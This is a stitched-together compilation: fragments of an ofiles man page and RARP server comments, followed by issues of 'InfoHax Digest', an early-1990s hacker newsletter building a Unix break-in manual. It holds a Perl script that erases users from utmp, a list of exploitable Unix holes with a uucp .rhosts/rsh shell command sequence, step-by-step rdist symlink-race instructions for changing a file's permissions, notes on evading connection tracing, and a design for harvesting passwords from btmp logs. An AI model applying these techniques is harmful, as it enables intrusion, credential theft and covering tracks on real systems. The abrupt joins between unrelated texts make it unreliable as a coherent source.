a regular file by the process, optionally  followed  by:  if  the
process  has  a shared lock on the file if the process has an ex-
clusive lock on the file if is the root directory of the  process
if  is  a socket the file descriptor number, local to the process
the user command that opened the inode number of  the  file  This
example shows the use of to discover the owner of the open, regu-
lar file,
% ofiles /usr/spool/lpd/lock
USER    PID     TYPE    FD      CMD     INODE
root    110     file/x   3      lpd     26683
This example shows the use of and to identify the local  endpoint
of  the  ``smtp'' network connection.  The first column of output
from is the PCB address; it is used as the argument to along with
the option.
% netstat -aA | grep smtp
80f6770c        tcp     0       0       *.smtp  *.*     LISTEN
% ofiles -n 80f6770c
file 80102b64 of socket 80f6758c of INPCB 80f6780c of PCB 80f6770c
USER    PID     TYPE    FD      CMD
root    105     sock     5      sendmail
Errors are identified with messages on the standard  error  file.
returns  a  one  (1)  if  any  error  was detected, including the
failure to locate any It returns a zero (0)  if  no  errors  were
detected  and  if  it was able to display owner information about
all the specified can't identify SunOS 4.0 stream  files,  so  it
doesn't follow their file structure pointers correctly when read-
ing their inodes.  That results in the display of erroneous inode
numbers  for  stream files.  The option limits its search to net-
work connections in the LISTEN through ESTABLISHED states.  Since
reads kernel memory in its search for open files and network con-
nections, rapid changes in kernel memory may produce  unsatisfac-
tory results.  C. Spencer is the original author.  Michael Ditto,
Tom Dunigan, Alexander Dupuy, Gary Nebbett and Richard Tobin con-
tributed.  Michael Spitzer, Ray Moody, and Vik Lall of the Purdue
University Computing Center converted the program to a variety of
UNIX  environments.  Vic Abell of the Purdue University Computing
Center added the option.  inode(5), mount(1), kill(1), tcp(4).
 * Reverse Address Resolution Protocol server
 * Routines that handle network I/O, and process RARP packets.
/* EtherRead reads the packet and checks to see it's the right opcode, etc. */
/* Make sure we're looking for the right kind of Ethernet address. */
* Send a response packet with our addresses in 'source' addresses.  rarpPacket
   comes in with the target addresses filled in, as well as the sizes, etc. */
    /* remember sender's hardware address, so the packet can be returned */
    /* fill in reply opcode and source addresses */
 * This programs sends a request packet to the rarp server and waits forever
 * for a reply, then displays the response packet.
/* An IP prototcol address */
/* An ethernet addresss for broadcast */
/*fill in reply opcode and source and target address*/
/* broadcast a request packet */
/* prints an array a for n characters (as hexadecimal digits) with dots in
 * between.
/* prints an array a for n characters (as decimal digits) with dots in
 * between.
 * test program for Reverse Address Resolution Protocol server
 * This programs sends a request packet to the rarp server and waits forever
 * for a reply, then displays the response packet.
/* An Ethernet hardware address (3Mbps) */
/* An IP prototcol address */
/* An ethernet addresss for broadcast */
/* broadcast a request packet */
 * added support for 3Mbps Ethernets.
 * This server uses files (/etc/rarpdb.*) to create a table of mappings
 * between Ethernet (hardware) addresses and 32-bit IP protocol (logical)
 * addresses.
 * It can be expanded to include other kinds of hardware and protocol
 * addresses, if needed.
 * It provides a service for client machines (usually diskless workstations)
 * to return a logical address when given a hardware address.
 * Possible future extensions:
 * 1)Fix Our_Ether_Addr to reflect multiple networks.  Right now
 *gethostid is used, which returns the IP address on the first
 *network, not necessarily the 10 Mbit one.  (in OpenEthers)
 * 2)Change LookUp to use a faster search than sequential.
 * 3)Support other kinds of 'hardware' or 'protocol' addresses.
/*interval to wait before checking to see if disk file has been changed*/
    /* Main mostly does debug and error-checking things.  It calls OpenEthers
       to establish the networks, and then calls MainLoop to do the serving. *
/* save ethermask because "select" changes the bits to indicate
   which of the bits that were on in readfds correspond to
   files that have packets waiting on their net */
/* something to read from this ether */
    /* OpenEthers goes through all nets on this machine and opens a file for
       each Ethernet interface.  It builds a pernet table for each file
   opened.  It calls BringInTable to build a table of address pairs for each
       net.  It sets up a packet filter for each net for RARP packets. */
/* gethostid really gets the main id and won't work if > 1 net: */
 * Routines for reading and searching the table of
 * (Ethernet address, IP address) pairs.
    /* Parses the input line "line", entering the IP and Ethernet addresses
     * found into "tabent".  This routine returns:
     *     1 if the line was successfully parsed,
     *     0 if the line is empty or begins with a comment character (; or #),
     *    -1 if a syntax error was found in the line.

Date: Fri, 24 Jan 92 21:27:27 -0700

Section Name                         chapter.sec.version        00/00/00                             toolbox.01.0               01/23/92
Here's a little program called "unwho" that deletes all entries for a
given user from utmp.  You could probably mogrify it trans what you want.
# This assumes your /etc/utmp file looks like ours
$unname = shift;
@mo = (Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec);
while (read(UTMP,$utmp,36)) {
    ($line,$name,$host,$time) = unpack('A8A8A16l',$utmp);
    if ($name) {
$host = "($host)" if $host;
($sec,$min,$hour,$mday,$mon) = localtime($time);
printf "%-9s%-8s%s %2d %02d:%02d   %s\n",
if ($name eq $unname) {
    print UTMP pack('A8a8A16l', "","","",0);


To join this group or have your thoughts in the next issue, please
send electronic mail to Tangent at the following address;


The views expressed in InfoHax Digest
are those of the individual authors only.

End of InfoHax Digest

                            InfoHax Digest, Number 2

                          Saturday, February 15th 1992

Today's Topics:


Date: Thu, 13 Feb 92 09:39:40 -0700
Subject: intro.hax2

                         INFOHAX DIGEST 2
  Well it's taken a while to get this second issue out, people have been a
little slow to get things submited, and I've been a bit slow to put it out.
my appoligies to everyone...
  Getting an issue a week out really depends on getting the material, I
DON'T want to have to endlessly bug everyone about this, it took alot of
reminders to get this issue together. I used to run a HS underground paper,
and found that if an issue had come out recently, people were more
responsive to submitting material on a regular basis. It's all a matter of
momentum, so lets get this ball rolling!
  Please send stuff in on a regular basis, I don't want to constantly
remind people, this projects success depends on YOU!
  Perhaps one of the problems is a lack of direction, and people being abit
overwelmed with all the material. Were going to try something a little
different this time, actually several things, in addition to what we're
allready doing. Hopefully the kinks will work themselves out.
  One other note: The existence of this project is best not common knowledge,
there are too many that would like to stop us. Let them find out about it
when everyone else does, after the fact.
  First off, lets talk about how the voting went. The current members are:
         0 Knight Lightning                  0 Doc Holliday
         0 Taran King                        X PHz
         0 Tuc                               X Rosco
         0 Sir Frances Drake                 0 Feanor
         X Nikita                            0 Amoeba Wonderboy
         X Calculite                         0 Entity
         X Tangent                           0 Flex
         X Judge Dread                       X Dark Overlord
         0 Dispater
  You may knowtice '0's and 'X's in front of peoples names, yes we're trying
peer pressure... an 'X' means that this person has contributed something to
one of the infohax's so far, a '0' means they have not. Please note that 5
of these have promiced to contribute something specific in the near future,
but have been busy - I can understand that... But do yourself a favor, and
submit SOMETHING!, we all need to pull our weight here...
  Next people who have been voted in but  havn't responded.
          Erik Bloodaxe - what's up guy?
  also, Doc Holliday and Rosco, you need to sub to the listserv...
  finally, we have people that need to be voted on:
         Ninja Master (has 3.5, needs 5.5 more votes)
         Blue Adept   (has 4, needs 5 more votes)
         Shooting Shark (has 4, needs 5 more votes) - anyone know how to
              contact him?
  TOC/chapter organisation:
  I havn't gotten mutch input here, so if something new comes up, we'll
just tack it to the end, till the rewrite...
  0) Intro                            11) Startup files
  1) How Not to get Caught            12) User Utils
  2) Monitoring (progs/net/accnt)     13) Programming Utils
  3) Theory                           14) Crypto
  4) Getting in the Door              15) Devices
  5) Getting Root                     16) Passive Snooping
  6) Networks (security/spoof/utils)  17) Patch level and version history
  7) Accnt Security                   18) sysadmin perspective (end of seed)
  8) File System Security             19) Biblio
  9) set uid progs                    20) toolbox (code/scripts)
 10) setgid progs
       This isn't set in stone yet, but I need to hear from you soon, if
you don't like this... I suspect chapters 1, 2 and 6 will take the most
time. It was pointed out by PHz that monitoring programs are important,
in effect this really is part of chapter 1, but it's a large enough
subject that it really deserves a chapter of it's own. When we talk about
things like COPS, we need to know if their being used (what is a waste of
time - will a setuid script be found and tip our hand?), can we use these
tools to make our life easier?, what ISN'T being checked for? and things
like that.
  Results were abit pathetic here... basicly a couple of comments, it's
a tossup between going chapter by chapter, or jump arround... So we're
going to do both. The main thrust of the Digests will go chapter by
chapter, but anyone wanting to work on areas they know, or using other
chapters as a springboard are welcome to... We are also introducing two
new methods: 1)Rosco is going to submit a 'not worked out' hole every
week, this week it's rdist, we need people to expand on what's given, and
put it into the form of step by step instructions, pref w/ an example
showing commands given, and result... 2)The hole list: were starting this,
Dark Overlord contributed a seed, that we need to expand on, these are
holes that need to be expanded on, and explained. They are tiny bites,
that could be tackled by anyone with a little time. If you don't know
how to exploit any of the holes, please go through the other material, and
add to the hole list. (sort/extract). or pick your brain, and add to it
that way... the seed paper is another good source for this...
  I'd like EVERYONE to contribute something to the hole list EVERY issue,
while it would be better to send instructions on how to exploit a hole,
noting the existence of a hole would be ok...
  about research: we're still looking for a site to run wais/gopher/www on,
must be internet accessable (or a mail interface would be ok), and have
'extra' storrage/cpu cycles available... anything out there?
  A final note on the why of it all: (insperation, for those that need it)
  about infohax - infohax is a project born mainly of 3 observations: 1) the
mentors comment that most new hackers get busted before they have a chance
to become skilled in the art, 2) personal dissatisfaction about the ammount of
and quality of information out there on how to get into UNIX systems, and 3)
this great paper that fell into my hands that said 'consult your local
security guru' too much... the thought dawn'd on some of us that it would be
fun to gather some of the best minds in the community together and re-write
that paper, but taking it further...
  ok, well enough, but what's to be the bennefit from this?
1) for some, a better reputation.
2) for all, sharring ideas, learning new tricks, making some new contacts, and
getting to know others in the community...
3) for some getting some material to put in their journals.
4) and I think that this is the most important, helping others become skilled
in the art so they have a chance to become good. This is important because the
quality of new hackers seems to be dimminishing, our ranks seem to be thinning,
and lets face it, there's basic self interest; the more good tallent out there,
the less chance they'll go after one of us! There is also the philisophic
concept of payback, all of us were helped by a number of people when we were
learning, this is a chance to help alot of people in the same way, but while
keeping them at arms length... (safer...)
  I better shut up before I start quoting Mount Analog...
  So what's in this issue anyway?:
  rdist.hole        DITO!, or at least one person... hole of the week....
  wtmp.hacker       comments on sysadmin.comments, and a tool someone is
                    working on...
  rfc.authd.draft   extracts from what's to replace rfc931, and comments on it
  son.of.IP         extracts from selected posts
  audit.tool        a paper on audit tools, notes on future trends
  utmp_ed.c         a editor for utmp in C, for hackers
  rhost.hole    a network security hole          revision of
  Some submissions are sighned, others not. If you got credit, and didn't 
want it, don't put you sig in the body of the message. If you didn't get
credit and you wanted it, put you sig/handle/whatever in the body of your
  You can send submissions eithor directly to me, or to:
  Lets get this thing rolling, try to submit stuff every week, or at least
every other... 
  Please vote!, and lets see a hole submission from EVERYONE!
  Also badly needed are a packet forger (one was promiced, but never show'd),
and a ethernet stuffer. A genneral log editor/purger (also promiced, but...)
is also needed. If we don't find um, we need to start writing um...
                                          thanks all!,

Date: Thu, 13 Feb 92 09:52:08 -0700
Subject: hole.list

Section Name                         chapter.sec.version        00/00/00
hole.list.01                           hole.list.01             02/13/92
    the frame buffer devices on at least suns are world
    readable/writeable, which is at best annoying (when
    someone runs something strange on you) and at worst
    insecure (since someone can take a snapshot of your screen
    via screenload or whatnot)
/dev/*st*, *mt*, etc (tape devices)
    generally world readable/writeable, bad since others can
    nuke your tapes, read your backups, etc.
chfn, chsh
    used to create a root account
    will system dump a setgid core image? 
domain name system
    a sysadmin running the soa for a domain somewhere can
    create a bugs reverse address mapping table for one of his
    hosts that causes its IP address to have the domain name
    of a machine that my host has in its hosts.equiv file.  if
    i'm using the usual version of 'istrusted' (I think that's
    the routine's name), the address lookup reveals the name
    of the host to be one that my host trusts, and this other
    sysadmin can rlogin into my machine or rsh or whatnot at
    test for bad group test 
    can be used to change major/minor numbers on devices 
    hard .plan links - reading unreadable files readable by
    setuid, .plan links

    running as root
    buffer overrun 
file mod test.
    test of file does not loose the setuid bit when modified

    static passwd struct overwrite 
    4.2 based bug, userid not reset properly, (after logging
in enter comment "user root" and you are, last seen
onder SunOS 3.3?). 
    overwrite stack somehow?
    default + entry
    istrusted routine - easy to spoof by bad SOA at remote
    site with hacked reverse address map.
    4.1bsd version had the password "hasta la vista" as a
    builtin trapdoor. (found in ultrix)
lost+found, fsck 
    lost+found should be mode 700, else others might see
    private files.
    its possible to ovberwrite files with root authority with
    user level access locally or remotely if you have local
    root access 
    lpr -r access testing problem
    trusts utmp
    fgets use allows long entries which will be mangled into
    ::0:0::: entries
    also allows:
    fred:...:...:...:Fred ....Flintstone::/bin/sh =>
    which is a root entry with no password!
    fix - should skip to eol if it didn't read whole entry,
    should enforce buffer limits on text in file, don't use
    atoi (since atoi(/bin/sh) is 0). 
    allows other net entities to make bindings - may not be a
    "security hole", can lead to denial of service. 
    nobody problem 
    running as root, utmp world writeable, writes to files as
    well as devices in utmp dev fields. 
rdist - buffer overflow 
    allowed remote access to files 
    debug option 
    wizard mode 
    TURN command 
allows mail to be stolen
    decode mail alias - anyone can send mail to decode, write
    to any file onwed by daemon, if they can connect to
    sendmail daemon, can write to any file owned by any user.

    overflow input buffer 
cause the sendmail deamon to lock up
    overwrite files 
sendmail can be "tricked" into delivering mail
into any file but those own my root.
    -oQ (different Q)
    fixed in newer versions
    mqueue must not be mode 777!
    what uid does |program run with?
    sendmail -bt -C/usr/spool/mail/user - in old versions,
    allows you to see all lines of the file.
setuid bit handling
    setuid/setgid bit should be dropped if a file is modified
    fix: kernel changes
setuid scripts
    there are several problems with setuid scripts.  is it
    worth writing tests for these?  some systems might have
    fixed some of the holes - does anyone know how one fixes
    these problems in a proactive fashion?
    IFS hole (used with vi, anything else?) 
    overwrite stack somehow?
    sequence number prediction makes host spoofing easier
    source routing make host spoofing easier
    rip allows one to capture traffic more easily
    various icmp attacks possible
    (I suspect a traceroute'd kernel will allow one to easily
    dump packets onto the ethernet)
    allows one to grab random files (eg, /etc/passwd).
    fix - should do a chroot
    allows puts as well as gets, no chroot
    fix - don't run as root, use chroot, no puts, only if boot
    check to see if world writeable (if so, the data can't be
    trusted, although some programs are written as though they
    trust the data (comsat, rwalld)). 
    check if valid uucp accounts are in the /etc/ftpusers.  If
    the shell is uucico and passwd is valid make sure it is
    listed in ftpusers. 
    check to see that uucp accounts have shell: if left off,
    folks can do:
cat >x
myhost myname
uucp x ~uucp/.rhosts
rsh myhost -l uucp sh -i
    HDB nostrangers shell escape 
    HDB changing the owner of set uid/gid files 
    HDB meta escapes on the X command line 
    HDB ; breaks on the X line 
    if it is setuid, some versions will create setuid files

    accepts ypset from anyone (can create own ypserv and data,
    and ypset to it...) 
ypserv spoofing
    send lots of bogus replies to a request for root's passwd
    entry, while doing something that would generate such a
    request [I'm pretty sure that this is possible, but
    haven't tried it.]
    * password means use root's password?
AIX 2.2.1 
    shadow password file (/etc/security/passwd) world
    fix - chmod 600...
386i login
    fix - nuke logintool, hack on login with adb, chmod 2750
ultrix 3.0 login
    login -P progname allows one to run random programs as root.  
    fix - chmod 2750.
    if access access control is disabled any one can connect to
    a X display it is possible and create (forge) and/or
    intercept keystrokes.  
-Dark Overlord

Date: Thu, 13 Feb 92 10:25:40 -0700
Subject: rdist.hole

Section Name                         chapter.sec.version        00/00/00
rdist.hole                                06.00.00              02/13/92
  In the RDIST program, a subprogram called SERVER.C has a
subroutine called CHOG which issues two faulty calls to SETREUID.
  To exploit this, you:
o  Create a very large file with garbage in it.
o  Make the file SETUID
o  Create /temp directory
o  RDIST -C filemane hostname:/temp
o  Suspend the job that is updating the large file.
o  Within /temp, there will be two files created by RDIST... One
   by the server, the other by the client.
o  REMOVE the file with a filesize greater than zero.
o  Replace the REMOVEd file with a symbolic link to the target (victim)
   file (hint: use the LN command).
o  Unsuspend the process.
o  RDIST will now change the target file protection to the same
   as the temp file.
  The above will work on all Berkeley, SUN, and SCO systems.  Life
is a bitch, then you grow old.

Date: Thu, 13 Feb 92 10:38:18 -0700
Subject: rfc.authd.draft

Section Name                         chapter.sec.version        00/00/00
rfc.authd.draft                           01.13.00              02/13/92
   (This is extracted from the complete draft that should be available
                    on the INFOHAX fileserver)
   The Identity Server announces the user of a particular TCP connection
   to the host on the other end of the connection. Given a TCP port
   number pair, it returns a character string which identifies the owner
   of that connection on the server's system. Suggested uses include
   detection of SMTP and NNTP forgeries, additional verification for a
   remote login, terminal server usernames, and user-to-user file
   transfer. A particularly important application of the Identity Server
   in today's Internet is tracing network attackers through mainframes.
   This is a connection-based application which runs over TCP. The
   server listens for TCP connections on port 113 (decimal).
5. Caveats
   The user identifier returned by the Identity Server on a host is only
A> as trustworthy as the host itself. (Needless to say, the association
   between a user identifier and a real person is only as secure as the
   mechanism by which the host establishes that association.)
   Attempts to interpret the user identifier outside the context of the
   host will inevitably lead to security violations. Therefore the
   client must never use a user identifier without also keeping track of
   the IP address whose Identity Server generated the identifier. When
   possible it should also keep track of the domain name corresponding
   to that IP address.
B> In theory, the Identity Server decreases security by announcing
   usernames which, were it not for SMTP, Finger, and several other
   protocols, could be kept secret. Administrators of hosts supporting
   the Identity Server should be aware that as soon as user shmoe
   connects to host X, anyone on host X can find out shmoe's username
   simply by guessing the TCP port numbers.
6. Identity Server security
   This section provides an informal discussion of the security added by
   the Identity Server. It is important to note at the outset that this
   server does not in any way remove the need for protocols, such as
   Kerberos, which encrypt data. The Identity Server can and should be
   used to supplement, never to replace, existing security mechanisms.
   The Identity Server completely eliminates username forgeries above
   the TCP level. On a host supporting this RFC, a forger, system
   cracker, or other criminal cannot hide behind the anonymity of a TCP
C> connection; to forge his username he must forge TCP packets.
   (It goes without saying that if a system cracker acquires privileges
   and disables the proper functioning of the Identity Server, then the
   usernames reported by the server will not be accurate. In that
   situation ``username forgery'' does not even make sense, for the
   system cracker has complete control over all usernames. As stated in
   section 5, the user identifier returned by the Identity Server on a
   host is only as trustworthy as the host itself.)
   Unfortunately, forging TCP packets is rather easy. Bellovin has
   outlined several attacks which compromise IP and TCP [1]. The
   Identity Server happens to make some of the attacks much more
D> difficult. For instance, a fake source route will be ignored when the
   target makes a second connection to the Identity Server, so a
   username cannot be faked with source route attacks. Some attacks are
E> also ineffective against after-the-fact tracing: for example, posing
   as another host on the same Ethernet while that host is down can
   always be detected (though it is very difficult to trace this attack
   back to its source). Furthermore, the Identity Server uses IP
   addresses, so it avoids the Domain Name Server's lack of security.
   Unlike passwords sent in cleartext (via, e.g., TELNET), the Identity
   Server cannot even be spoofed by an attacker who can read every
   packet sent across the network.
F> However, ICMP Redirects and other comprehensive routing attacks can
   be neither detected nor stopped from anywhere except the target
   router. To completely stop forgeries requires not only the Identity
   Server but a secure TCP. Kerberos v5 [6] solves these problems
   thoroughly and efficiently, although it does not yet fully support
   wide-area networks.
G> It is perhaps worthwhile to draw an analogy between the Identity
   Server and security in the telephone system. Without the Identity
   Server, a phone trace (or Caller-ID, where it is permitted by local
   regulations) provides the phone number of the caller. When the phone
   number is the number of a large company and the caller was actually
   at an extension inside the company, this tracing mechanism is nearly
   The Identity Server provides the extension. Admittedly, the extension
   is meaningless when the phone number refers to someone's house (a
   microcomputer), or to a company that lets its employees pick their
   extensions (an insecure mainframe). But it provides a huge benefit
   for tracing within honest companies. If Foo Corp. tells Bar Inc. that
   it's been receiving prank calls (forged mail, system cracking) from
   one of Bar's phone numbers, Bar can't do anything. But if Bar has
   installed the Identity Server, Foo can find out the phone extension
   as well, and Bar can track down the renegade employee.
   Someone who can invade the security of the phone system itself (i.e.,
   someone who breaks TCP) will find the Identity Server at most a minor
   nuisance. To stop him you'd have to start encrypting your phone lines
   (Kerberos). But for most people the Identity Server removes the
   anonymity provided by large organizations (mainframes) all of whose
   calls are tagged with the same phone number (IP address). It thus
   forms a quite effective deterrent.
   A common argument against RFC 931 was that its usernames are
   meaningless for microcomputers. However, consider the phone analogy.
   It doesn't matter that Dr. Shmoe can forge extensions within his own
   house to his heart's delight---because anyone who traces his prank
   calls will find out that they came from Shmoe's house. Nobody will
   care about the faked extension when Dr. Shmoe is arrested. In other
   words, the Identity Server neither helps nor hurts the security of
   such connections.
   Note that if ``Shmoe's house'' is instead a public meeting place with
   no physical security and with public phones which let users specify
   any extensions they want, it will not be possible to trace calls to
   the actual people who happened to be using those phones. In other
   words, if a microcomputer or unprotected workstation with no physical
   security is available for the public to use, it will not be possible
   to trace security violations emanating from that computer. Once again
   this is a problem independent of the Identity Server. The Identity
   Server is beneficial in that it discriminates between the users of a
   multi-user computer.
7. Applications
   The most important use of the Identity Server in today's Internet is
   to track system crackers across the network. A combination of IP
   lookups and Ethernet tracing usually suffices to identify the
   physical machine involved in an ongoing attack. However, if that host
   has many users and its manager is not available, there is no way to
   identify which user is responsible for the attacks. It has thus
H> become popular with system crackers to log into a series of
   mainframes, each providing an extra layer of anonymity. The Identity
   Server removes this anonymity by announcing the username at each
   step. As more and more hosts on the Internet support the Identity
   Server, it will become more and more difficult for an attacker to
   avoid leaving a trail of usernames.
I> Another natural use of the Identity Server is to detect SMTP and NNTP
   forgeries. Patches are available for sendmail [3] and nntpd [5] to
   record the sending username. FTP can record the name of the user
   performing an "anonymous ftp" [4], rather than depending on the user
   to give his name. Many other user-level protocols, such as BSD talk
   [2], can also benefit from user identifiers. Note that all these
   applications use the Identity Server to supplement, never to replace,
   other security mechanisms.
   The user identifier provided by the Identity Server can allow more
   secure authentication and finer access control for remote login than
   some current access control mechanisms, which are based solely on the
   incoming IP address and host name. If the identifier is also recorded
   in system logs, then network attacks can be traced back to individual
   users rather than entire mainframes, as discussed above. It is
   important to note that this in no way removes the need for passwords
   or other forms of cryptographic authentication. The Identity Server
   supplements, never replaces, other security mechanisms.
J> Many sites have terminal servers which allow Internet connections. A
   user can connect to the server, then connect to anywhere on the
   Internet (or, in some cases, anywhere on the local net). With the
   Identity Server, terminal servers can record usernames, then report
   those usernames on outgoing connections. For instance, if connects to and then to, can respond to an Identity Server request with
   USERID : OTHER : [email protected]( The login might show up in's logs as [email protected]( This
   would prevent abuse of the terminal servers for anonymous system
   cracking attempts. Note once again that the Identity Server only
   supplements other security mechanisms (though in this case there
   typically aren't any other security mechanisms to begin with).
   The Identity Server can also be used for user-to-user file transfer,
   where one user SENDs a file and another RECEIVEs it without
   passwords. The file is queued on the sending host, not the receiving
   host. SEND can be implemented as a mail message or other notification
   of a TCP port where the file can be picked up. RECEIVE is then a
   connection to that TCP port; the receiver uses the Identity Server to
   make sure the sender is who he should be, and vice versa. Of course,
   the Identity Server is only a minimal security mechanism necessary to
   make a SEND-RECEIVE protocol practical. It would be better if all
   communications were completely encrypted.
8. References
   [1] Bellovin, S. M., "Security Problems in the TCP/IP Protocol
       Suite", Computer Communications Review, April 1989.
   [2] Bernstein, D. J., "Unofficial patches to talk for RFC 931
       support", February 1991. Available for anonymous ftp from in usenet/alt.sources/articles/2687.Z.
   [3] Bernstein, D. J., "Unofficial patches to sendmail for RFC 931
       support", February 1991. Available for anonymous ftp from in usenet/alt.sources/articles/2728.Z.
   [4] Myers, C., "wuarchive ftpd", September 1991. Available for
       anonymous ftp from in
   [5] Sayer, N., "Unofficial RFC931 patches to nntp", February 1991.
       Available for anonymous ftp from in
   [6] Ts'o, T., et al., Kerberos v5 beta, Massachusetts Institute of
       Technology, June 1991.
A> If you have root, you can change usernames, or su to anybody
B> not mutch of a concern
C> Packet forgers are becoming more important, as are ethernet stuffers, we
   need to work on this area...
D> source route attacks - need info...
E> posing as down host - need info...
F> ICMP redirects and other comprahensive routing attacks - need info...
G> a usefull way arround it...
H> So this will be like SxS switches, where we'll need to go through a 
   system that doesn't support the tracing to evade it...
I> SMTP and NNTP forgeries - please write something on this, someone...
J> Of cource we NEVER use someone elses account, god forbid we ran a password

Date: Thu, 13 Feb 92 10:37:14 -0700
Subject: b-wtmp.prog

Section Name                         chapter.sec.version        00/00/00
b-wtmp.prog                               01.12.00              02/13/92
  Feedback on sec 01.01.00, sysadmin.comments and a program being worked on
as a result:
  The line:"Some of them will show passwords typed in where usernames should
be, which is why btmp is supposed to be readable only by root"
  Ok, so if you can get root, and read this file, you should be able to get
a few passwords out of it. To help this task a program that would automate
some of this would be usefull. This tool would corellate usernames that
logged in arround that time with entries where they made a typo or something.
  There are basicly 3 types of entries that are likely to be found:
1) the user types in a legit password, but eithor puts it in the login field,
   makes a typo, or is hit with linenoise. in any of these cases you should
   have most or all of the password.
2) the user types in the wrong password (check .forward files, lastcomm, etc
   to try to figure out where else they have an account.)
3) hackers... won't get anything from these entries...
    Anyway, a program should be able to match those entries that are from
users on the system, and identify what category of problem exists... ie:
username is 1 char off: password is probably good
username and password clean: maybe typo, or password on dif system
username doesn't exist: hacker
garbage in password: linenoise, may be worth guessing/brute force

Date: Thu, 13 Feb 92 10:39:08 -0700
Subject: son.of.IP

Section Name                         chapter.sec.version        00/00/00
son.of.IP                                 01.14.00              02/13/92
>I have used the hosts_access package with some success.  What this
>package does is disable connections from a host or set of hosts.  So
>you set up all of the machines on your ethernet with the host_access
>package, and set up the files so that any attempt to use a tcp service
>from your gateway is canceled.
The most recent version now also supports access control and monitoring
of UDP and RPC requests. Available from (,
file /pub/security/log_tcp.shar.Z.
 TdR> In fact, if your site uses the name daemon, and the intruder can guess
 TdR> what just one line in your .rhosts file says, he can get into your
 TdR> account very easily. Yeah, yeah, CERT & gang have been told.
Sun actually got this one right, though they did it in the wrong place ;-)
Sun's resolver library won't return a name on a gethostbyaddr() unless
an A record lookup on that name returns that address.  This is great for
r-access, but not so hot for stuff like traceroute, since *some* people
(hi NSF) don't have proper A records matching their PTRs.
There's also she host_access package (look for log_tcp with archie) that
has a define, -DPARANOID, which does the same thing (disallows
connections from sites that don't match properly) and can be added on to
any system.  It can also block telnet/rlogin/whatever from sites you
don't want to hear from (open terminal servers at someone else's site,
perhaps ;-)
 TCP/IP Connection Monitoring
It is occasionally needed to perform ethernet monitoring to check for
unauthorized connections (connections from random machines around the
internet to the telnet (or other) ports).  You might not want to
restrict all access, but one the other hand you want to keep an eye on
what is going on.  The only problem is that programs like tcpdump or
etherfind monitor the ethernet on a packet-by-packet scale instead of
on a connection bases (one line per connection) which makes it
difficult to get an idea of what is happening (since you can easily
lose or forget about packets that get overwhelmed by voluminous
connections.  So in order to solve this problem I wrote conmon.
conmon takes the output of tcpdump and prints a given connection only
the first time it is seen so that you can easily see all connections.
Every screenful of connections it clears the current list of
connections so that active connections will be seen on the new screen.
Both tcpdump and conmon are available for anonymous ftp from []
 New network security mailing list: rfc931-users
RFC 931, the Authentication Server, stops the most common type of mail
and news forgery, increases the security of other TCP connections, and
helps security organizations trace Internet attackers. It is supported
by at least three (completely interoperable) UNIX server implementations,
used by several clients including the newly released wuarchive ftpd, and
installed at sites throughout the United States and Europe, ranging from
the Air Force to companies as large as 3M. It is currently the only
freely available wide-area TCP security protocol, yet it can run in
tandem with other security protocols such as Kerberos.
I've created a new mailing list, rfc931-users, for people who want to
use the Authentication Server to solve problems. The mailing list is; to join, send mail to
>        Is it possible to fake the source of a packet traveling on the net?
> The obvious secuirty breach I'am thinking of is this: Machine A is remotely
> connected to Machine B. Is it possible to send information; ie commands,
> to Machine B from another machine and make Machine B **think** it came
> from Machine A? Kerebose can provide security when you first connect, but
> after the connection is made......
Yes, of course. Depending on the Protocol. For TCP/IP you can read a good
summary on Security Problems in
S.M.Bellovin, Security Problems in the TCP/IP Protocol Suite, Computer
Communication Review, Vol 19, No 2, pp 32-48, April 1989.
>Is anyone able to name me an ftp-server which contains this document?
You can find it at: under: dist/
Btw.: This article is critizised in: S. Kent, "Comments on 'Security Problems
    in the TCP/IP Protocol Suite", ACM Computer Communication Review, Vol 19
    No. 3, July 1989, pp. 10-19.
 Re: NIS and password security
There have been a number of queries and some not completely accurate
information posted on this question. I'll try to summarise the problem and
suggested workarounds. None of the workarounds is particularly satisfactory,
The problem is this: ypserv is totally indiscriminate about which machines
it will respond to queries from. Normal NIS maps can be read by anyone
on the Internet who can route packets to your NIS server and back.
"secure" (HA!) NIS maps like passwd.adjunct can only be read if the querier
is using a privileged port (< 1024). This means that anyone can read your
"secure" maps if they can crack root on some machine on the Internet
and can route packets to your machine.
The bug means that many machines on the Internet which use NIS are
vulnerable to having their password files stolen and run through "Crack" or
similar. Arguments about whether distributing Crack and fast U*ix encryption
algorithms was a good idea aside, every wannabe cracker now has a copy
of a reasonably state-of-the-art password guesser.
As I said in my earlier post on this subject, the combination "I'm NIS
and I serve everyone" and easily available password guessers has already
led to breakins at some sites.
This bug was reported to Sun in April 1990, and CERT has also been aware
of it for about the same length of time.
I am told that the bug will be fixed in NIS+ or NIS3.0, or whatever it's
called this week, which I understand will be available in Solaris 2.0.
What to do about it:
1) The Sun Party Line. "Don't run ypserv on your gateway and disable
   IP forwarding on the gateway". This is commonly known as a
   "firewall" (provided the machine is also in other respects
   reasonably secure) and is probably already done by many commercial
   users of the Internet. It is not the greatest in convenience, and
   most University sysadmins would encounter, lets say, a little user
   resistance. Managing the gateway is also a pain.  Switching off
   `routed' alone, as has been suggested here, is usually insufficient.
   However, provided the security of the firewall is not breached, you
   are safe from this attack, and many others. Instructions on how
   to disable IP forwarding in the kernel are in Sun's Network Admin
2) The Lamb Party Line. If you communicate to the outside world through a
   smart router, filter out packets coming from external connections
   addressed to destination ports sunrpc/udp&tcp (port 111) and ports
   600-1023, tcp&udp. This will prevent access to *all* sunrpc services
   from outside the router. It will also block access to the Kerberos
   protocols (probably also not a bad idea given the info. in Steve
   Bellovin's paper about Kerberos security problems), and will
   probably block the BSD `r' (rcp,rlogin, etc) commands, but don't
   count on it doing so.  If you and your router are smart enough, you
   may be able to make the `r' commands work.  Eg, for rlogin, allow
   the packets through iff their source is 513/tcp (this opens up a hole
   for a sufficiently clever cracker, though). Blocking port 111 alone
   is insufficient but will block the most obvious attacks (including
   those I've been told have already actually occurred).
The above two solutions are the only real answers to the problem. There
are some workarounds which make life harder for the potential cracker.
1) Choose a hard-to-guess NIS domain name. The cracker must be able to guess
   your NIS domain name in order to talk to ypserv. This is purest security-
   through-obscurity. The domain name is normally only handled by
   automatic systems, and can be up to 64 characters long. Making the first
   part a reasonable handle may help system administration. Something like
   is probably reasonable. This precaution is vulnerable to "social
   engineering" attacks, ie. the cracker trying to fool a user at your site
   to reveal the domain name, since the NIS domain name can be discovered by
   any user on your machines.
2) Use passwd+ or npasswd to vet passwords. If you do this, you need to
   make all your users put their current password through the new
